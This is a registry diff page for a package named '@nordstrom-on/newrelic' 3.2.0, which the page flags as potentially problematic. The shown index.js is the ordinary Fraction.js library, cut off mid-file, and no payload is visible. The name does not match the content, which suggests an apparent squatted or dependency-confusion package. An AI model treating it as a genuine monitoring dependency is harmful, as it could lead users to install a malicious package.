@nordstrom-on/newrelic 3.2.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @nordstrom-on/newrelic might be problematic. Click here for more details.
- package/index.js +904 -0
- package/init.js +1 -0
- package/package.json +1 -0
package/index.js
ADDED
@@ -0,0 +1,904 @@
|
|
1
|
+
/**
|
2
|
+
* @license Fraction.js v4.3.7 31/08/2023
|
3
|
+
* https://www.xarg.org/2014/03/rational-numbers-in-javascript/
|
4
|
+
*
|
5
|
+
* Copyright (c) 2023, Robert Eisele (robert@raw.org)
|
6
|
+
* Dual licensed under the MIT or GPL Version 2 licenses.
|
7
|
+
**/
|
8
|
+
|
9
|
+
|
10
|
+
/**
|
11
|
+
*
|
12
|
+
* This class offers the possibility to calculate fractions.
|
13
|
+
* You can pass a fraction in different formats. Either as array, as double, as string or as an integer.
|
14
|
+
*
|
15
|
+
* Array/Object form
|
16
|
+
* [ 0 => <numerator>, 1 => <denominator> ]
|
17
|
+
* [ n => <numerator>, d => <denominator> ]
|
18
|
+
*
|
19
|
+
* Integer form
|
20
|
+
* - Single integer value
|
21
|
+
*
|
22
|
+
* Double form
|
23
|
+
* - Single double value
|
24
|
+
*
|
25
|
+
* String form
|
26
|
+
* 123.456 - a simple double
|
27
|
+
* 123/456 - a string fraction
|
28
|
+
* 123.'456' - a double with repeating decimal places
|
29
|
+
* 123.(456) - synonym
|
30
|
+
* 123.45'6' - a double with repeating last place
|
31
|
+
* 123.45(6) - synonym
|
32
|
+
*
|
33
|
+
* Example:
|
34
|
+
*
|
35
|
+
* var f = new Fraction("9.4'31'");
|
36
|
+
* f.mul([-4, 3]).div(4.9);
|
37
|
+
*
|
38
|
+
*/
|
39
|
+
|
40
|
+
(function (root) {
|
41
|
+
|
42
|
+
"use strict";
|
43
|
+
|
44
|
+
// Maximum search depth for cyclic rational numbers. 2000 should be more than enough.
|
45
|
+
// Example: 1/7 = 0.(142857) has 6 repeating decimal places.
|
46
|
+
// If MAX_CYCLE_LEN gets reduced, long cycles will not be detected and toString() only gets the first 10 digits
|
47
|
+
var MAX_CYCLE_LEN = 2000;
|
48
|
+
|
49
|
+
// Parsed data to avoid calling "new" all the time
|
50
|
+
var P = {
|
51
|
+
"s": 1,
|
52
|
+
"n": 0,
|
53
|
+
"d": 1
|
54
|
+
};
|
55
|
+
|
56
|
+
function assign(n, s) {
|
57
|
+
|
58
|
+
if (isNaN(n = parseInt(n, 10))) {
|
59
|
+
throw InvalidParameter();
|
60
|
+
}
|
61
|
+
return n * s;
|
62
|
+
}
|
63
|
+
|
64
|
+
// Creates a new Fraction internally without the need of the bulky constructor
|
65
|
+
function newFraction(n, d) {
|
66
|
+
|
67
|
+
if (d === 0) {
|
68
|
+
throw DivisionByZero();
|
69
|
+
}
|
70
|
+
|
71
|
+
var f = Object.create(Fraction.prototype);
|
72
|
+
f["s"] = n < 0 ? -1 : 1;
|
73
|
+
|
74
|
+
n = n < 0 ? -n : n;
|
75
|
+
|
76
|
+
var a = gcd(n, d);
|
77
|
+
|
78
|
+
f["n"] = n / a;
|
79
|
+
f["d"] = d / a;
|
80
|
+
return f;
|
81
|
+
}
|
82
|
+
|
83
|
+
function factorize(num) {
|
84
|
+
|
85
|
+
var factors = {};
|
86
|
+
|
87
|
+
var n = num;
|
88
|
+
var i = 2;
|
89
|
+
var s = 4;
|
90
|
+
|
91
|
+
while (s <= n) {
|
92
|
+
|
93
|
+
while (n % i === 0) {
|
94
|
+
n /= i;
|
95
|
+
factors[i] = (factors[i] || 0) + 1;
|
96
|
+
}
|
97
|
+
s += 1 + 2 * i++;
|
98
|
+
}
|
99
|
+
|
100
|
+
if (n !== num) {
|
101
|
+
if (n > 1)
|
102
|
+
factors[n] = (factors[n] || 0) + 1;
|
103
|
+
} else {
|
104
|
+
factors[num] = (factors[num] || 0) + 1;
|
105
|
+
}
|
106
|
+
return factors;
|
107
|
+
}
|
108
|
+
|
109
|
+
var parse = function (p1, p2) {
|
110
|
+
|
111
|
+
var n = 0, d = 1, s = 1;
|
112
|
+
var v = 0, w = 0, x = 0, y = 1, z = 1;
|
113
|
+
|
114
|
+
var A = 0, B = 1;
|
115
|
+
var C = 1, D = 1;
|
116
|
+
|
117
|
+
var N = 10000000;
|
118
|
+
var M;
|
119
|
+
|
120
|
+
if (p1 === undefined || p1 === null) {
|
121
|
+
/* void */
|
122
|
+
} else if (p2 !== undefined) {
|
123
|
+
n = p1;
|
124
|
+
d = p2;
|
125
|
+
s = n * d;
|
126
|
+
|
127
|
+
if (n % 1 !== 0 || d % 1 !== 0) {
|
128
|
+
throw NonIntegerParameter();
|
129
|
+
}
|
130
|
+
|
131
|
+
} else
|
132
|
+
switch (typeof p1) {
|
133
|
+
|
134
|
+
case "object":
|
135
|
+
{
|
136
|
+
if ("d" in p1 && "n" in p1) {
|
137
|
+
n = p1["n"];
|
138
|
+
d = p1["d"];
|
139
|
+
if ("s" in p1)
|
140
|
+
n *= p1["s"];
|
141
|
+
} else if (0 in p1) {
|
142
|
+
n = p1[0];
|
143
|
+
if (1 in p1)
|
144
|
+
d = p1[1];
|
145
|
+
} else {
|
146
|
+
throw InvalidParameter();
|
147
|
+
}
|
148
|
+
s = n * d;
|
149
|
+
break;
|
150
|
+
}
|
151
|
+
case "number":
|
152
|
+
{
|
153
|
+
if (p1 < 0) {
|
154
|
+
s = p1;
|
155
|
+
p1 = -p1;
|
156
|
+
}
|
157
|
+
|
158
|
+
if (p1 % 1 === 0) {
|
159
|
+
n = p1;
|
160
|
+
} else if (p1 > 0) { // check for != 0, scale would become NaN (log(0)), which converges really slow
|
161
|
+
|
162
|
+
if (p1 >= 1) {
|
163
|
+
z = Math.pow(10, Math.floor(1 + Math.log(p1) / Math.LN10));
|
164
|
+
p1 /= z;
|
165
|
+
}
|
166
|
+
|
167
|
+
// Using Farey Sequences
|
168
|
+
// http://www.johndcook.com/blog/2010/10/20/best-rational-approximation/
|
169
|
+
|
170
|
+
while (B <= N && D <= N) {
|
171
|
+
M = (A + C) / (B + D);
|
172
|
+
|
173
|
+
if (p1 === M) {
|
174
|
+
if (B + D <= N) {
|
175
|
+
n = A + C;
|
176
|
+
d = B + D;
|
177
|
+
} else if (D > B) {
|
178
|
+
n = C;
|
179
|
+
d = D;
|
180
|
+
} else {
|
181
|
+
n = A;
|
182
|
+
d = B;
|
183
|
+
}
|
184
|
+
break;
|
185
|
+
|
186
|
+
} else {
|
187
|
+
|
188
|
+
if (p1 > M) {
|
189
|
+
A += C;
|
190
|
+
B += D;
|
191
|
+
} else {
|
192
|
+
C += A;
|
193
|
+
D += B;
|
194
|
+
}
|
195
|
+
|
196
|
+
if (B > N) {
|
197
|
+
n = C;
|
198
|
+
d = D;
|
199
|
+
} else {
|
200
|
+
n = A;
|
201
|
+
d = B;
|
202
|
+
}
|
203
|
+
}
|
204
|
+
}
|
205
|
+
n *= z;
|
206
|
+
} else if (isNaN(p1) || isNaN(p2)) {
|
207
|
+
d = n = NaN;
|
208
|
+
}
|
209
|
+
break;
|
210
|
+
}
|
211
|
+
case "string":
|
212
|
+
{
|
213
|
+
B = p1.match(/\d+|./g);
|
214
|
+
|
215
|
+
if (B === null)
|
216
|
+
throw InvalidParameter();
|
217
|
+
|
218
|
+
if (B[A] === '-') {// Check for minus sign at the beginning
|
219
|
+
s = -1;
|
220
|
+
A++;
|
221
|
+
} else if (B[A] === '+') {// Check for plus sign at the beginning
|
222
|
+
A++;
|
223
|
+
}
|
224
|
+
|
225
|
+
if (B.length === A + 1) { // Check if it's just a simple number "1234"
|
226
|
+
w = assign(B[A++], s);
|
227
|
+
} else if (B[A + 1] === '.' || B[A] === '.') { // Check if it's a decimal number
|
228
|
+
|
229
|
+
if (B[A] !== '.') { // Handle 0.5 and .5
|
230
|
+
v = assign(B[A++], s);
|
231
|
+
}
|
232
|
+
A++;
|
233
|
+
|
234
|
+
// Check for decimal places
|
235
|
+
if (A + 1 === B.length || B[A + 1] === '(' && B[A + 3] === ')' || B[A + 1] === "'" && B[A + 3] === "'") {
|
236
|
+
w = assign(B[A], s);
|
237
|
+
y = Math.pow(10, B[A].length);
|
238
|
+
A++;
|
239
|
+
}
|
240
|
+
|
241
|
+
// Check for repeating places
|
242
|
+
if (B[A] === '(' && B[A + 2] === ')' || B[A] === "'" && B[A + 2] === "'") {
|
243
|
+
x = assign(B[A + 1], s);
|
244
|
+
z = Math.pow(10, B[A + 1].length) - 1;
|
245
|
+
A += 3;
|
246
|
+
}
|
247
|
+
|
248
|
+
} else if (B[A + 1] === '/' || B[A + 1] === ':') { // Check for a simple fraction "123/456" or "123:456"
|
249
|
+
w = assign(B[A], s);
|
250
|
+
y = assign(B[A + 2], 1);
|
251
|
+
A += 3;
|
252
|
+
} else if (B[A + 3] === '/' && B[A + 1] === ' ') { // Check for a complex fraction "123 1/2"
|
253
|
+
v = assign(B[A], s);
|
254
|
+
w = assign(B[A + 2], s);
|
255
|
+
y = assign(B[A + 4], 1);
|
256
|
+
A += 5;
|
257
|
+
}
|
258
|
+
|
259
|
+
if (B.length <= A) { // Check for more tokens on the stack
|
260
|
+
d = y * z;
|
261
|
+
s = /* void */
|
262
|
+
n = x + d * v + z * w;
|
263
|
+
break;
|
264
|
+
}
|
265
|
+
|
266
|
+
/* Fall through on error */
|
267
|
+
}
|
268
|
+
default:
|
269
|
+
throw InvalidParameter();
|
270
|
+
}
|
271
|
+
|
272
|
+
if (d === 0) {
|
273
|
+
throw DivisionByZero();
|
274
|
+
}
|
275
|
+
|
276
|
+
P["s"] = s < 0 ? -1 : 1;
|
277
|
+
P["n"] = Math.abs(n);
|
278
|
+
P["d"] = Math.abs(d);
|
279
|
+
};
|
280
|
+
|
281
|
+
function modpow(b, e, m) {
|
282
|
+
|
283
|
+
var r = 1;
|
284
|
+
for (; e > 0; b = (b * b) % m, e >>= 1) {
|
285
|
+
|
286
|
+
if (e & 1) {
|
287
|
+
r = (r * b) % m;
|
288
|
+
}
|
289
|
+
}
|
290
|
+
return r;
|
291
|
+
}
|
292
|
+
|
293
|
+
|
294
|
+
function cycleLen(n, d) {
|
295
|
+
|
296
|
+
for (; d % 2 === 0;
|
297
|
+
d /= 2) {
|
298
|
+
}
|
299
|
+
|
300
|
+
for (; d % 5 === 0;
|
301
|
+
d /= 5) {
|
302
|
+
}
|
303
|
+
|
304
|
+
if (d === 1) // Catch non-cyclic numbers
|
305
|
+
return 0;
|
306
|
+
|
307
|
+
// If we would like to compute really large numbers quicker, we could make use of Fermat's little theorem:
|
308
|
+
// 10^(d-1) % d == 1
|
309
|
+
// However, we don't need such large numbers and MAX_CYCLE_LEN should be the capstone,
|
310
|
+
// as we want to translate the numbers to strings.
|
311
|
+
|
312
|
+
var rem = 10 % d;
|
313
|
+
var t = 1;
|
314
|
+
|
315
|
+
for (; rem !== 1; t++) {
|
316
|
+
rem = rem * 10 % d;
|
317
|
+
|
318
|
+
if (t > MAX_CYCLE_LEN)
|
319
|
+
return 0; // Returning 0 here means that we don't print it as a cyclic number. It's likely that the answer is `d-1`
|
320
|
+
}
|
321
|
+
return t;
|
322
|
+
}
|
323
|
+
|
324
|
+
|
325
|
+
function cycleStart(n, d, len) {
|
326
|
+
|
327
|
+
var rem1 = 1;
|
328
|
+
var rem2 = modpow(10, len, d);
|
329
|
+
|
330
|
+
for (var t = 0; t < 300; t++) { // s < ~log10(Number.MAX_VALUE)
|
331
|
+
// Solve 10^s == 10^(s+t) (mod d)
|
332
|
+
|
333
|
+
if (rem1 === rem2)
|
334
|
+
return t;
|
335
|
+
|
336
|
+
rem1 = rem1 * 10 % d;
|
337
|
+
rem2 = rem2 * 10 % d;
|
338
|
+
}
|
339
|
+
return 0;
|
340
|
+
}
|
341
|
+
|
342
|
+
function gcd(a, b) {
|
343
|
+
|
344
|
+
if (!a)
|
345
|
+
return b;
|
346
|
+
if (!b)
|
347
|
+
return a;
|
348
|
+
|
349
|
+
while (1) {
|
350
|
+
a %= b;
|
351
|
+
if (!a)
|
352
|
+
return b;
|
353
|
+
b %= a;
|
354
|
+
if (!b)
|
355
|
+
return a;
|
356
|
+
}
|
357
|
+
};
|
358
|
+
|
359
|
+
/**
|
360
|
+
* Module constructor
|
361
|
+
*
|
362
|
+
* @constructor
|
363
|
+
* @param {number|Fraction=} a
|
364
|
+
* @param {number=} b
|
365
|
+
*/
|
366
|
+
function Fraction(a, b) {
|
367
|
+
|
368
|
+
parse(a, b);
|
369
|
+
|
370
|
+
if (this instanceof Fraction) {
|
371
|
+
a = gcd(P["d"], P["n"]); // Abuse variable a
|
372
|
+
this["s"] = P["s"];
|
373
|
+
this["n"] = P["n"] / a;
|
374
|
+
this["d"] = P["d"] / a;
|
375
|
+
} else {
|
376
|
+
return newFraction(P['s'] * P['n'], P['d']);
|
377
|
+
}
|
378
|
+
}
|
379
|
+
|
380
|
+
var DivisionByZero = function () { return new Error("Division by Zero"); };
|
381
|
+
var InvalidParameter = function () { return new Error("Invalid argument"); };
|
382
|
+
var NonIntegerParameter = function () { return new Error("Parameters must be integer"); };
|
383
|
+
|
384
|
+
Fraction.prototype = {
|
385
|
+
|
386
|
+
"s": 1,
|
387
|
+
"n": 0,
|
388
|
+
"d": 1,
|
389
|
+
|
390
|
+
/**
|
391
|
+
* Calculates the absolute value
|
392
|
+
*
|
393
|
+
* Ex: new Fraction(-4).abs() => 4
|
394
|
+
**/
|
395
|
+
"abs": function () {
|
396
|
+
|
397
|
+
return newFraction(this["n"], this["d"]);
|
398
|
+
},
|
399
|
+
|
400
|
+
/**
|
401
|
+
* Inverts the sign of the current fraction
|
402
|
+
*
|
403
|
+
* Ex: new Fraction(-4).neg() => 4
|
404
|
+
**/
|
405
|
+
"neg": function () {
|
406
|
+
|
407
|
+
return newFraction(-this["s"] * this["n"], this["d"]);
|
408
|
+
},
|
409
|
+
|
410
|
+
/**
|
411
|
+
* Adds two rational numbers
|
412
|
+
*
|
413
|
+
* Ex: new Fraction({n: 2, d: 3}).add("14.9") => 467 / 30
|
414
|
+
**/
|
415
|
+
"add": function (a, b) {
|
416
|
+
|
417
|
+
parse(a, b);
|
418
|
+
return newFraction(
|
419
|
+
this["s"] * this["n"] * P["d"] + P["s"] * this["d"] * P["n"],
|
420
|
+
this["d"] * P["d"]
|
421
|
+
);
|
422
|
+
},
|
423
|
+
|
424
|
+
/**
|
425
|
+
* Subtracts two rational numbers
|
426
|
+
*
|
427
|
+
* Ex: new Fraction({n: 2, d: 3}).add("14.9") => -427 / 30
|
428
|
+
**/
|
429
|
+
"sub": function (a, b) {
|
430
|
+
|
431
|
+
parse(a, b);
|
432
|
+
return newFraction(
|
433
|
+
this["s"] * this["n"] * P["d"] - P["s"] * this["d"] * P["n"],
|
434
|
+
this["d"] * P["d"]
|
435
|
+
);
|
436
|
+
},
|
437
|
+
|
438
|
+
/**
|
439
|
+
* Multiplies two rational numbers
|
440
|
+
*
|
441
|
+
* Ex: new Fraction("-17.(345)").mul(3) => 5776 / 111
|
442
|
+
**/
|
443
|
+
"mul": function (a, b) {
|
444
|
+
|
445
|
+
parse(a, b);
|
446
|
+
return newFraction(
|
447
|
+
this["s"] * P["s"] * this["n"] * P["n"],
|
448
|
+
this["d"] * P["d"]
|
449
|
+
);
|
450
|
+
},
|
451
|
+
|
452
|
+
/**
|
453
|
+
* Divides two rational numbers
|
454
|
+
*
|
455
|
+
* Ex: new Fraction("-17.(345)").inverse().div(3)
|
456
|
+
**/
|
457
|
+
"div": function (a, b) {
|
458
|
+
|
459
|
+
parse(a, b);
|
460
|
+
return newFraction(
|
461
|
+
this["s"] * P["s"] * this["n"] * P["d"],
|
462
|
+
this["d"] * P["n"]
|
463
|
+
);
|
464
|
+
},
|
465
|
+
|
466
|
+
/**
|
467
|
+
* Clones the actual object
|
468
|
+
*
|
469
|
+
* Ex: new Fraction("-17.(345)").clone()
|
470
|
+
**/
|
471
|
+
"clone": function () {
|
472
|
+
return newFraction(this['s'] * this['n'], this['d']);
|
473
|
+
},
|
474
|
+
|
475
|
+
/**
|
476
|
+
* Calculates the modulo of two rational numbers - a more precise fmod
|
477
|
+
*
|
478
|
+
* Ex: new Fraction('4.(3)').mod([7, 8]) => (13/3) % (7/8) = (5/6)
|
479
|
+
**/
|
480
|
+
"mod": function (a, b) {
|
481
|
+
|
482
|
+
if (isNaN(this['n']) || isNaN(this['d'])) {
|
483
|
+
return new Fraction(NaN);
|
484
|
+
}
|
485
|
+
|
486
|
+
if (a === undefined) {
|
487
|
+
return newFraction(this["s"] * this["n"] % this["d"], 1);
|
488
|
+
}
|
489
|
+
|
490
|
+
parse(a, b);
|
491
|
+
if (0 === P["n"] && 0 === this["d"]) {
|
492
|
+
throw DivisionByZero();
|
493
|
+
}
|
494
|
+
|
495
|
+
/*
|
496
|
+
* First silly attempt, kinda slow
|
497
|
+
*
|
498
|
+
return that["sub"]({
|
499
|
+
"n": num["n"] * Math.floor((this.n / this.d) / (num.n / num.d)),
|
500
|
+
"d": num["d"],
|
501
|
+
"s": this["s"]
|
502
|
+
});*/
|
503
|
+
|
504
|
+
/*
|
505
|
+
* New attempt: a1 / b1 = a2 / b2 * q + r
|
506
|
+
* => b2 * a1 = a2 * b1 * q + b1 * b2 * r
|
507
|
+
* => (b2 * a1 % a2 * b1) / (b1 * b2)
|
508
|
+
*/
|
509
|
+
return newFraction(
|
510
|
+
this["s"] * (P["d"] * this["n"]) % (P["n"] * this["d"]),
|
511
|
+
P["d"] * this["d"]
|
512
|
+
);
|
513
|
+
},
|
514
|
+
|
515
|
+
/**
|
516
|
+
* Calculates the fractional gcd of two rational numbers
|
517
|
+
*
|
518
|
+
* Ex: new Fraction(5,8).gcd(3,7) => 1/56
|
519
|
+
*/
|
520
|
+
"gcd": function (a, b) {
|
521
|
+
|
522
|
+
parse(a, b);
|
523
|
+
|
524
|
+
// gcd(a / b, c / d) = gcd(a, c) / lcm(b, d)
|
525
|
+
|
526
|
+
return newFraction(gcd(P["n"], this["n"]) * gcd(P["d"], this["d"]), P["d"] * this["d"]);
|
527
|
+
},
|
528
|
+
|
529
|
+
/**
|
530
|
+
* Calculates the fractional lcm of two rational numbers
|
531
|
+
*
|
532
|
+
* Ex: new Fraction(5,8).lcm(3,7) => 15
|
533
|
+
*/
|
534
|
+
"lcm": function (a, b) {
|
535
|
+
|
536
|
+
parse(a, b);
|
537
|
+
|
538
|
+
// lcm(a / b, c / d) = lcm(a, c) / gcd(b, d)
|
539
|
+
|
540
|
+
if (P["n"] === 0 && this["n"] === 0) {
|
541
|
+
return newFraction(0, 1);
|
542
|
+
}
|
543
|
+
return newFraction(P["n"] * this["n"], gcd(P["n"], this["n"]) * gcd(P["d"], this["d"]));
|
544
|
+
},
|
545
|
+
|
546
|
+
/**
|
547
|
+
* Calculates the ceil of a rational number
|
548
|
+
*
|
549
|
+
* Ex: new Fraction('4.(3)').ceil() => (5 / 1)
|
550
|
+
**/
|
551
|
+
"ceil": function (places) {
|
552
|
+
|
553
|
+
places = Math.pow(10, places || 0);
|
554
|
+
|
555
|
+
if (isNaN(this["n"]) || isNaN(this["d"])) {
|
556
|
+
return new Fraction(NaN);
|
557
|
+
}
|
558
|
+
return newFraction(Math.ceil(places * this["s"] * this["n"] / this["d"]), places);
|
559
|
+
},
|
560
|
+
|
561
|
+
/**
|
562
|
+
* Calculates the floor of a rational number
|
563
|
+
*
|
564
|
+
* Ex: new Fraction('4.(3)').floor() => (4 / 1)
|
565
|
+
**/
|
566
|
+
"floor": function (places) {
|
567
|
+
|
568
|
+
places = Math.pow(10, places || 0);
|
569
|
+
|
570
|
+
if (isNaN(this["n"]) || isNaN(this["d"])) {
|
571
|
+
return new Fraction(NaN);
|
572
|
+
}
|
573
|
+
return newFraction(Math.floor(places * this["s"] * this["n"] / this["d"]), places);
|
574
|
+
},
|
575
|
+
|
576
|
+
/**
|
577
|
+
* Rounds a rational numbers
|
578
|
+
*
|
579
|
+
* Ex: new Fraction('4.(3)').round() => (4 / 1)
|
580
|
+
**/
|
581
|
+
"round": function (places) {
|
582
|
+
|
583
|
+
places = Math.pow(10, places || 0);
|
584
|
+
|
585
|
+
if (isNaN(this["n"]) || isNaN(this["d"])) {
|
586
|
+
return new Fraction(NaN);
|
587
|
+
}
|
588
|
+
return newFraction(Math.round(places * this["s"] * this["n"] / this["d"]), places);
|
589
|
+
},
|
590
|
+
|
591
|
+
/**
|
592
|
+
* Rounds a rational number to a multiple of another rational number
|
593
|
+
*
|
594
|
+
* Ex: new Fraction('0.9').roundTo("1/8") => 7 / 8
|
595
|
+
**/
|
596
|
+
"roundTo": function (a, b) {
|
597
|
+
|
598
|
+
/*
|
599
|
+
k * x/y ≤ a/b < (k+1) * x/y
|
600
|
+
⇔ k ≤ a/b / (x/y) < (k+1)
|
601
|
+
⇔ k = floor(a/b * y/x)
|
602
|
+
*/
|
603
|
+
|
604
|
+
parse(a, b);
|
605
|
+
|
606
|
+
return newFraction(this['s'] * Math.round(this['n'] * P['d'] / (this['d'] * P['n'])) * P['n'], P['d']);
|
607
|
+
},
|
608
|
+
|
609
|
+
/**
|
610
|
+
* Gets the inverse of the fraction, means numerator and denominator are exchanged
|
611
|
+
*
|
612
|
+
* Ex: new Fraction([-3, 4]).inverse() => -4 / 3
|
613
|
+
**/
|
614
|
+
"inverse": function () {
|
615
|
+
|
616
|
+
return newFraction(this["s"] * this["d"], this["n"]);
|
617
|
+
},
|
618
|
+
|
619
|
+
/**
|
620
|
+
* Calculates the fraction to some rational exponent, if possible
|
621
|
+
*
|
622
|
+
* Ex: new Fraction(-1,2).pow(-3) => -8
|
623
|
+
*/
|
624
|
+
"pow": function (a, b) {
|
625
|
+
|
626
|
+
parse(a, b);
|
627
|
+
|
628
|
+
// Trivial case when exp is an integer
|
629
|
+
|
630
|
+
if (P['d'] === 1) {
|
631
|
+
|
632
|
+
if (P['s'] < 0) {
|
633
|
+
return newFraction(Math.pow(this['s'] * this["d"], P['n']), Math.pow(this["n"], P['n']));
|
634
|
+
} else {
|
635
|
+
return newFraction(Math.pow(this['s'] * this["n"], P['n']), Math.pow(this["d"], P['n']));
|
636
|
+
}
|
637
|
+
}
|
638
|
+
|
639
|
+
// Negative roots become complex
|
640
|
+
// (-a/b)^(c/d) = x
|
641
|
+
// <=> (-1)^(c/d) * (a/b)^(c/d) = x
|
642
|
+
// <=> (cos(pi) + i*sin(pi))^(c/d) * (a/b)^(c/d) = x # rotate 1 by 180°
|
643
|
+
// <=> (cos(c*pi/d) + i*sin(c*pi/d)) * (a/b)^(c/d) = x # DeMoivre's formula in Q ( https://proofwiki.org/wiki/De_Moivre%27s_Formula/Rational_Index )
|
644
|
+
// From which follows that only for c=0 the root is non-complex. c/d is a reduced fraction, so that sin(c/dpi)=0 occurs for d=1, which is handled by our trivial case.
|
645
|
+
if (this['s'] < 0) return null;
|
646
|
+
|
647
|
+
// Now prime factor n and d
|
648
|
+
var N = factorize(this['n']);
|
649
|
+
var D = factorize(this['d']);
|
650
|
+
|
651
|
+
// Exponentiate and take root for n and d individually
|
652
|
+
var n = 1;
|
653
|
+
var d = 1;
|
654
|
+
for (var k in N) {
|
655
|
+
if (k === '1') continue;
|
656
|
+
if (k === '0') {
|
657
|
+
n = 0;
|
658
|
+
break;
|
659
|
+
}
|
660
|
+
N[k] *= P['n'];
|
661
|
+
|
662
|
+
if (N[k] % P['d'] === 0) {
|
663
|
+
N[k] /= P['d'];
|
664
|
+
} else return null;
|
665
|
+
n *= Math.pow(k, N[k]);
|
666
|
+
}
|
667
|
+
|
668
|
+
for (var k in D) {
|
669
|
+
if (k === '1') continue;
|
670
|
+
D[k] *= P['n'];
|
671
|
+
|
672
|
+
if (D[k] % P['d'] === 0) {
|
673
|
+
D[k] /= P['d'];
|
674
|
+
} else return null;
|
675
|
+
d *= Math.pow(k, D[k]);
|
676
|
+
}
|
677
|
+
|
678
|
+
if (P['s'] < 0) {
|
679
|
+
return newFraction(d, n);
|
680
|
+
}
|
681
|
+
return newFraction(n, d);
|
682
|
+
},
|
683
|
+
|
684
|
+
/**
|
685
|
+
* Check if two rational numbers are the same
|
686
|
+
*
|
687
|
+
* Ex: new Fraction(19.6).equals([98, 5]);
|
688
|
+
**/
|
689
|
+
"equals": function (a, b) {
|
690
|
+
|
691
|
+
parse(a, b);
|
692
|
+
return this["s"] * this["n"] * P["d"] === P["s"] * P["n"] * this["d"]; // Same as compare() === 0
|
693
|
+
},
|
694
|
+
|
695
|
+
/**
|
696
|
+
* Check if two rational numbers are the same
|
697
|
+
*
|
698
|
+
* Ex: new Fraction(19.6).equals([98, 5]);
|
699
|
+
**/
|
700
|
+
"compare": function (a, b) {
|
701
|
+
|
702
|
+
parse(a, b);
|
703
|
+
var t = (this["s"] * this["n"] * P["d"] - P["s"] * P["n"] * this["d"]);
|
704
|
+
return (0 < t) - (t < 0);
|
705
|
+
},
|
706
|
+
|
707
|
+
"simplify": function (eps) {
|
708
|
+
|
709
|
+
if (isNaN(this['n']) || isNaN(this['d'])) {
|
710
|
+
return this;
|
711
|
+
}
|
712
|
+
|
713
|
+
eps = eps || 0.001;
|
714
|
+
|
715
|
+
var thisABS = this['abs']();
|
716
|
+
var cont = thisABS['toContinued']();
|
717
|
+
|
718
|
+
for (var i = 1; i < cont.length; i++) {
|
719
|
+
|
720
|
+
var s = newFraction(cont[i - 1], 1);
|
721
|
+
for (var k = i - 2; k >= 0; k--) {
|
722
|
+
s = s['inverse']()['add'](cont[k]);
|
723
|
+
}
|
724
|
+
|
725
|
+
if (Math.abs(s['sub'](thisABS).valueOf()) < eps) {
|
726
|
+
return s['mul'](this['s']);
|
727
|
+
}
|
728
|
+
}
|
729
|
+
return this;
|
730
|
+
},
|
731
|
+
|
732
|
+
/**
|
733
|
+
* Check if two rational numbers are divisible
|
734
|
+
*
|
735
|
+
* Ex: new Fraction(19.6).divisible(1.5);
|
736
|
+
*/
|
737
|
+
"divisible": function (a, b) {
|
738
|
+
|
739
|
+
parse(a, b);
|
740
|
+
return !(!(P["n"] * this["d"]) || ((this["n"] * P["d"]) % (P["n"] * this["d"])));
|
741
|
+
},
|
742
|
+
|
743
|
+
/**
|
744
|
+
* Returns a decimal representation of the fraction
|
745
|
+
*
|
746
|
+
* Ex: new Fraction("100.'91823'").valueOf() => 100.91823918239183
|
747
|
+
**/
|
748
|
+
'valueOf': function () {
|
749
|
+
|
750
|
+
return this["s"] * this["n"] / this["d"];
|
751
|
+
},
|
752
|
+
|
753
|
+
/**
|
754
|
+
* Returns a string-fraction representation of a Fraction object
|
755
|
+
*
|
756
|
+
* Ex: new Fraction("1.'3'").toFraction(true) => "4 1/3"
|
757
|
+
**/
|
758
|
+
'toFraction': function (excludeWhole) {
|
759
|
+
|
760
|
+
var whole, str = "";
|
761
|
+
var n = this["n"];
|
762
|
+
var d = this["d"];
|
763
|
+
if (this["s"] < 0) {
|
764
|
+
str += '-';
|
765
|
+
}
|
766
|
+
|
767
|
+
if (d === 1) {
|
768
|
+
str += n;
|
769
|
+
} else {
|
770
|
+
|
771
|
+
if (excludeWhole && (whole = Math.floor(n / d)) > 0) {
|
772
|
+
str += whole;
|
773
|
+
str += " ";
|
774
|
+
n %= d;
|
775
|
+
}
|
776
|
+
|
777
|
+
str += n;
|
778
|
+
str += '/';
|
779
|
+
str += d;
|
780
|
+
}
|
781
|
+
return str;
|
782
|
+
},
|
783
|
+
|
784
|
+
/**
|
785
|
+
* Returns a latex representation of a Fraction object
|
786
|
+
*
|
787
|
+
* Ex: new Fraction("1.'3'").toLatex() => "\frac{4}{3}"
|
788
|
+
**/
|
789
|
+
'toLatex': function (excludeWhole) {
|
790
|
+
|
791
|
+
var whole, str = "";
|
792
|
+
var n = this["n"];
|
793
|
+
var d = this["d"];
|
794
|
+
if (this["s"] < 0) {
|
795
|
+
str += '-';
|
796
|
+
}
|
797
|
+
|
798
|
+
if (d === 1) {
|
799
|
+
str += n;
|
800
|
+
} else {
|
801
|
+
|
802
|
+
if (excludeWhole && (whole = Math.floor(n / d)) > 0) {
|
803
|
+
str += whole;
|
804
|
+
n %= d;
|
805
|
+
}
|
806
|
+
|
807
|
+
str += "\\frac{";
|
808
|
+
str += n;
|
809
|
+
str += '}{';
|
810
|
+
str += d;
|
811
|
+
str += '}';
|
812
|
+
}
|
813
|
+
return str;
|
814
|
+
},
|
815
|
+
|
816
|
+
/**
|
817
|
+
* Returns an array of continued fraction elements
|
818
|
+
*
|
819
|
+
* Ex: new Fraction("7/8").toContinued() => [0,1,7]
|
820
|
+
*/
|
821
|
+
'toContinued': function () {
|
822
|
+
|
823
|
+
var t;
|
824
|
+
var a = this['n'];
|
825
|
+
var b = this['d'];
|
826
|
+
var res = [];
|
827
|
+
|
828
|
+
if (isNaN(a) || isNaN(b)) {
|
829
|
+
return res;
|
830
|
+
}
|
831
|
+
|
832
|
+
do {
|
833
|
+
res.push(Math.floor(a / b));
|
834
|
+
t = a % b;
|
835
|
+
a = b;
|
836
|
+
b = t;
|
837
|
+
} while (a !== 1);
|
838
|
+
|
839
|
+
return res;
|
840
|
+
},
|
841
|
+
|
842
|
+
/**
|
843
|
+
* Creates a string representation of a fraction with all digits
|
844
|
+
*
|
845
|
+
* Ex: new Fraction("100.'91823'").toString() => "100.(91823)"
|
846
|
+
**/
|
847
|
+
'toString': function (dec) {
|
848
|
+
|
849
|
+
var N = this["n"];
|
850
|
+
var D = this["d"];
|
851
|
+
|
852
|
+
if (isNaN(N) || isNaN(D)) {
|
853
|
+
return "NaN";
|
854
|
+
}
|
855
|
+
|
856
|
+
dec = dec || 15; // 15 = decimal places when no repetation
|
857
|
+
|
858
|
+
var cycLen = cycleLen(N, D); // Cycle length
|
859
|
+
var cycOff = cycleStart(N, D, cycLen); // Cycle start
|
860
|
+
|
